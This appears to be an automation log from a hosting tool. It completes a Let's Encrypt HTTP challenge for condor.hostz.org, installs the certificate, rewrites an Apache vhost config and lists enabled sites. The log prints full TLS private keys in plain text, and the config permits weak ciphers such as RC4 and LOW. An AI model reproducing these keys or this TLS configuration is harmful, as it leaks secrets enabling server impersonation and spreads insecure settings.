Viirg8BIQoUPJwwMrjKQNU5Br0JKbouToofA4u1YOerqA/VUCckwgG3lzHOywoa5
ni16jv7xxlQVxc80CpLJnzNZqjB3npacAVxA+/5/AgOW0QOkpMxmVabMAcaV78fK
kYa8T1Y2ZQKBgQDSTxm7eZ3isFeas676p2uYzvgiDMeIJVnMUUuMmfPrn+2uWOuD
BS7YO0j4QEcBvmY6HlYBTuhj5F3lTu1kgzwvkcVzYso7atbVMgprFTnqR7B4pNqE
gdaE308Y5/0gzpKZvRtBc17StXqF3OQX5c6JqEtQKTBwrIF2Q/CHY1762QKBgEIf
lPHXpyzZQXnuo8SfpsaaAFQay9bguJyQaFD+b/0dMSDvKQ44+GHn/cmKxaBcx0En
B/fl/lVzCw2anKr3RYt5UFhFerAYlrCIzWnUkWNbsKwn/JCJoa31JVdkEMfr+EqA
ZwEHILtkfKb7GKTg0X3JDMQREBhuPj/XjoJxmTfBAoGAcJd4a2NUiFyZe4j3QpoH
5JwH86dUAmo6uERIGeZFmzAGuw5no4BdQvZt4KoWIAUvDG0tsdPfpi+IAHu3/cUd
L9FAqoVd5SRRcZuRFpmGL2y2dwaOzeieJGz5+pc6o+9ztO5uwSdz8V8i9Lb2pY5T
fioPSH2h3ocQToel5nqbwVM=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-09-10 06:00:29: Establishing a connection
2025-09-10 06:00:29: Establishing a connection
2025-09-10 06:00:29:
PUT: /tmp/pkp717121
#!/bin/bash
if [ -d "/var/www/hostz_condor/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-10 06:00:30:
chmod 755 /tmp/pkp717121; /tmp/pkp717121; rm /tmp/pkp717121
2025-09-10 06:00:30:
1
2025-09-10 06:00:31: Establishing a connection
2025-09-10 06:00:31:
PUT: /tmp/pkp468667
#!/bin/bash
mkdir -p "/var/www/hostz_condor/.well-known/acme-challenge/"
cd "/var/www/hostz_condor/.well-known/acme-challenge/"
cat > TlXpVXNKkz3k-4c8fK8eZHtxyt-nv-8toa7Ug_iCGnI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
TlXpVXNKkz3k-4c8fK8eZHtxyt-nv-8toa7Ug_iCGnI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 TlXpVXNKkz3k-4c8fK8eZHtxyt-nv-8toa7Ug_iCGnI
2025-09-10 06:00:31:
chmod 755 /tmp/pkp468667; /tmp/pkp468667; rm /tmp/pkp468667
2025-09-10 06:00:31:
2025-09-10 06:00:37: Establishing a connection
2025-09-10 06:00:37:
PUT: /tmp/pkp619598
#!/bin/bash
mkdir -p "/var/www/hostz_condor/.well-known/acme-challenge/"
cd "/var/www/hostz_condor/.well-known/acme-challenge/"
rm TlXpVXNKkz3k-4c8fK8eZHtxyt-nv-8toa7Ug_iCGnI
2025-09-10 06:00:37:
chmod 755 /tmp/pkp619598; /tmp/pkp619598; rm /tmp/pkp619598
2025-09-10 06:00:37:
2025-09-10 06:00:37: Establishing a connection
2025-09-10 06:00:37:
PUT: /tmp/pkp326198
#!/bin/bash
temp_file=$(mktemp)
TARGET=452589c154b484450eedc2df554d68f3.crt
cat > $temp_file <<'endmsg'
64:70:b7:71:e3:20:c9:49:80:f7:ba:3f:18:97:76:45
-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBZa5crOMbAGBfQyghBxhR03ZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTEwMDUwMjA2WhcNMjUxMjA5MDUwMjA1WjAbMRkwFwYDVQQD
ExBjb25kb3IuaG9zdHoub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEA7MX9f9VkgB2D6KWk6ZOt9WwOOJ1TaAIZFM4IDdHuW+ZZz+b0ThRbFD3keqyx
+NLEneWIpcrgiZonqIJigaibp1afxkH2NgpRDUUiZUh3YaQp+ZVG6ta+ysiXBbY1
SayDER6L0bF2Yq6YdCVsCI3lkidHBKFyUIRwv2jqO9UuBwcju2eJdlNLSGhX7UEG
NkDDlnGk3aVBze6gtTqKfLUBIqaef906sExhchBitTVTfdWR13f+xnj/26opCDUT
FdAplv1AcDBN1o4NmbNM17frfZexeaAQzFgQlFCeNQbrvCvYkk+N7Qe1usp6N2OK
d/+GaKynrsWnnAlBWiJL+gezVQIDAQABo4ICIDCCAhwwDgYDVR0PAQH/BAQDAgWg
MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBS6ER/ScHn+/MNADRfbDEw8CXbrYzAfBgNVHSMEGDAWgBTnq58PLDOg
U9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTMuaS5sZW5jci5vcmcvMBsGA1UdEQQUMBKCEGNvbmRvci5ob3N0ei5vcmcw
EwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3Ix
My5jLmxlbmNyLm9yZy85MC5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHyAPAAdwDt
PEvW6AbCpKIAV9vLJOI4Ad9RL+3EhsVwDyDdtz4/4AAAAZkyNjGeAAAEAwBIMEYC
IQC/fCQtV5EN2Fx130E1eCx4xjO5VdgSpF+RzRS21VY2wgIhAMnUs5J4R36ht11G
nm4rQjNLPSZFEHRwKKOnoVFv/tjLAHUADeHyMCvTDcFAYhIJ6lUu/Ed0fLHX6TDv
DkIetH5OqjQAAAGZMjYxqwAABAMARjBEAiB5V3esieF2FE9ljaebbZ1Q/Iip7FU2
ihRPxYcaSlmLgwIgTTRcRFPeVfg1hxl5gMSXLTtieALIgDp5Ib9l+OEuRfMwDQYJ
KoZIhvcNAQELBQADggEBAKGCH26HeZtvTG9MlBfeDP2jRnLkIFTH5yZKZh5upY6F
5sh2P43PgrDn2FKpc1v2/oegEOcxFiV2A6PKcCn8x1+T44O6iKSXPhQqOmwJ5F1Y
D4aLmRTUoFDM2tzjtQVCWf85mi5onWp/C1QEGC2Uz0QP/nfPVFj7BSw/dA/aQQIz
/87dA9J4vAQVaMDUZFAejXT9VSDvb0ArmTxUbiuyIxzoZDzkJyy8/S+jJVy7NWFU
8SA4oOM5bA9cLEd/CE+LNBnCjqNAyIvUBVDQhjrn2jnh8xvkVMlO/7ju2FFj5mx4
Fap2fZSYR3W2NDylBZdLU3mMCtvQ80TrQMQbZfUgCMw=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDsxf1/1WSAHYPo
paTpk631bA44nVNoAhkUzggN0e5b5lnP5vROFFsUPeR6rLH40sSd5YilyuCJmieo
gmKBqJunVp/GQfY2ClENRSJlSHdhpCn5lUbq1r7KyJcFtjVJrIMRHovRsXZirph0
JWwIjeWSJ0cEoXJQhHC/aOo71S4HByO7Z4l2U0tIaFftQQY2QMOWcaTdpUHN7qC1
Oop8tQEipp5/3TqwTGFyEGK1NVN91ZHXd/7GeP/bqikINRMV0CmW/UBwME3Wjg2Z
s0zXt+t9l7F5oBDMWBCUUJ41Buu8K9iST43tB7W6yno3Y4p3/4ZorKeuxaecCUFa
Ikv6B7NVAgMBAAECggEAQo4tAeAEDhc92wmk35uJjLFBFhzzMwtT7Ys0rF3UeLS5
jj1HcyM5ruju7qTYqi7k4dWBocjzcPqKJ03vTq8Mge9RnjMweGRSAD7sujeyhxnU
SrnxY1XV776O5SYguILrnMZPWzRdKMQXSp6yTX1FiN3NkrmnHob8AnIFVahI9eQ7
d006MgUa/tG0ApYNwQp/M9+T3wc14gA/kHWCmjbwqmpctFfJF6zd4YGrVHrGkfBD
NkYLJrXx6X5R90mWAafHBvRiC5xnUCCdpNK2GXPH7uOIv3Z/elmREKHWhRSbn3jQ
rs8EzggEv11r3GjZ7XQZfHwnfQYsFBtogDFo019zwQKBgQD3SSNwFIskhrQyj039
e879+x4i31T2EnicLtw/ulIbMdogzIRQSTXvKtcmPc987IpJ0pmTvMtbm1XxxngC
Vf+B6zo3of1/B3tJuW5tIYadpZ8a8vTI+fEOf3IRXjvN6dYKVvinptus2NjuxAEE
iL46A6c99SANG0nQ44zhd9QbXQKBgQD1HgQnn1MvWH9+qVKb53AEfzBhlBokhwq3
KuMZbkqfcGjIUIlzJqoWlZsOMHDw0mayZxJCgV3sTFUOoQvlUdBeF9QkEgG9mQRm
P+1XYq09r8o8C+QFPwe27UeecmrxhMl6MQExE/BaRMXIH/f174E8maNVFiVvcqn5
iwparv/wWQKBgFi1XgcY94lU4VO54MpsHacy7G6qGzpjCe1NSil6V3X1/kAB3f1H
Jhf0EFZhmgtAd6Nf70P2WCU2pjAjeG2uGAitL6dBb0SglHOwF5MCkd3/ygHK4lEu
iHEg+vSMD3wgxG3VIUJTMz7gU4HjwlG0FDmPkfFB/At3nJVY6/L+H5LpAoGBALoq
TP+G65gG//ZERcCxO4u+yhEieeSKSCIryYX0FWsY5gxV1r8Fe6Nhhv103yKYunT/
AYhPVvV0WBmfSTinNblxIacvofDNOeEq5mk7QdabH98RLOKrJ4HQn1eBESZUMu3C
MGSE/0Sf/RNs7Ff2ytIq4jlqc448qUolRvzu8uYpAoGAdi7RTJ/c4ce9T+3Xx4oX
/eqiyVprX6NO/q9JxPYN75Uqhbp68FBzen/26PZjVCLwXpYedp8m2KvbiSghMUxj
bGutOTAw5ziIzJC6vnJ04JkphenXAILGJdLDl+xJX3GzAEi30LQVVSxoRrb33mzw
/ObIeeFQlv/E0Y5rSTo2e1k=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-10 06:00:37:
chmod 755 /tmp/pkp326198; /tmp/pkp326198; rm /tmp/pkp326198
2025-09-10 06:00:37:
dir=/etc/ssl/certs
2025-09-10 06:00:37:
PUT: /tmp/pkp943602
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hostz_condor_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-10 06:00:37:
chmod 755 /tmp/pkp943602; /tmp/pkp943602; rm /tmp/pkp943602
2025-09-10 06:00:37:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_condor_org.conf 40
<VirtualHost *:80>
ServerName condor.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_condor
<Directory /var/www/hostz_condor>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/condor_access.log combined
ErrorLog /var/log/apache2/hostz/condor_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName condor.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt
DocumentRoot /var/www/hostz_condor
<Directory /var/www/hostz_condor>
Options +FollowSymLinks -MultiViews
AllowOverride All
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_condor/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/hostz/condor_secure_access.log combined
ErrorLog /var/log/apache2/hostz/condor_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-10 06:00:37:
PUT: /tmp/pkp746160
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_condor_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_condor_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName condor.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_condor
<Directory /var/www/hostz_condor>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/condor_access.log combined
ErrorLog /var/log/apache2/hostz/condor_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName condor.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt
DocumentRoot /var/www/hostz_condor
<Directory /var/www/hostz_condor>
Options +FollowSymLinks -MultiViews
AllowOverride All
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_condor/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/hostz/condor_secure_access.log combined
ErrorLog /var/log/apache2/hostz/condor_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hostz_condor_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hostz_condor_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_condor_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_condor_org.conf= 1'
fi
2025-09-10 06:00:37:
chmod 755 /tmp/pkp746160; /tmp/pkp746160; rm /tmp/pkp746160
2025-09-10 06:00:37:
2025-09-10 06:00:37:
PUT: /tmp/pkp504307
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-10 06:00:37:
chmod 755 /tmp/pkp504307; /tmp/pkp504307; rm /tmp/pkp504307
2025-09-10 06:00:37:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-10 06:00:37: Establishing a connection
2025-09-10 06:00:37:
PUT: /tmp/pkp847535
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-10 06:00:38:
chmod 755 /tmp/pkp847535; /tmp/pkp847535; rm /tmp/pkp847535
2025-09-10 06:00:38:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
alias myapp.care
port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
alias www.cn-dego.myapp.care
port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
alias www.d-oak.myapp.care
port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
alias www.ma1-acrp.myapp.care
port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
alias www.ma1-anfr.myapp.care
port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
alias www.ma1-anin.myapp.care
port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
alias www.ma1-ankp.myapp.care
port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
alias www.ma1-anrp.myapp.care
port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
alias www.ma1-arcr.myapp.care
port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
alias www.ma1-asst.myapp.care
port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
alias www.ma1-chel.myapp.care
port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
alias www.ma1-cybb.myapp.care
port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
alias www.ma1-epas.myapp.care
port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
alias www.ma1-fass.myapp.care
port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
alias www.ma1-ldhr.myapp.care
port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
alias www.ma1-lsst.myapp.care
port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
alias www.ma1-mtfp.myapp.care
port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
alias www.ma1-mvrc.myapp.care
port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
alias www.ma1-octf.myapp.care
port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
alias www.ma1-ovin.myapp.care
port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
alias www.ma1-pfer.myapp.care
port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
alias www.ma1-prls.myapp.care
port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
alias www.ma1-rcl.myapp.care
port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
alias www.ma1-rorp.myapp.care
port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
alias www.ma1-savr.myapp.care
port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
alias www.ma1-shem.myapp.care
port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
alias www.ma1-sspr.myapp.care
port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
alias www.ma1-tosr.myapp.care
port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
alias www.ma1-tylo.myapp.care
port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
alias www.ma1-typa.myapp.care
port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
alias www.ma1-tyto.myapp.care
port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
alias www.ma1-utfa.myapp.care
port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
alias www.ma1-vasc.myapp.care
port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
alias www.ma1-vasr.myapp.care
port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
alias www.ma2-acrp.myapp.care
port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
alias www.ma2-anar.myapp.care
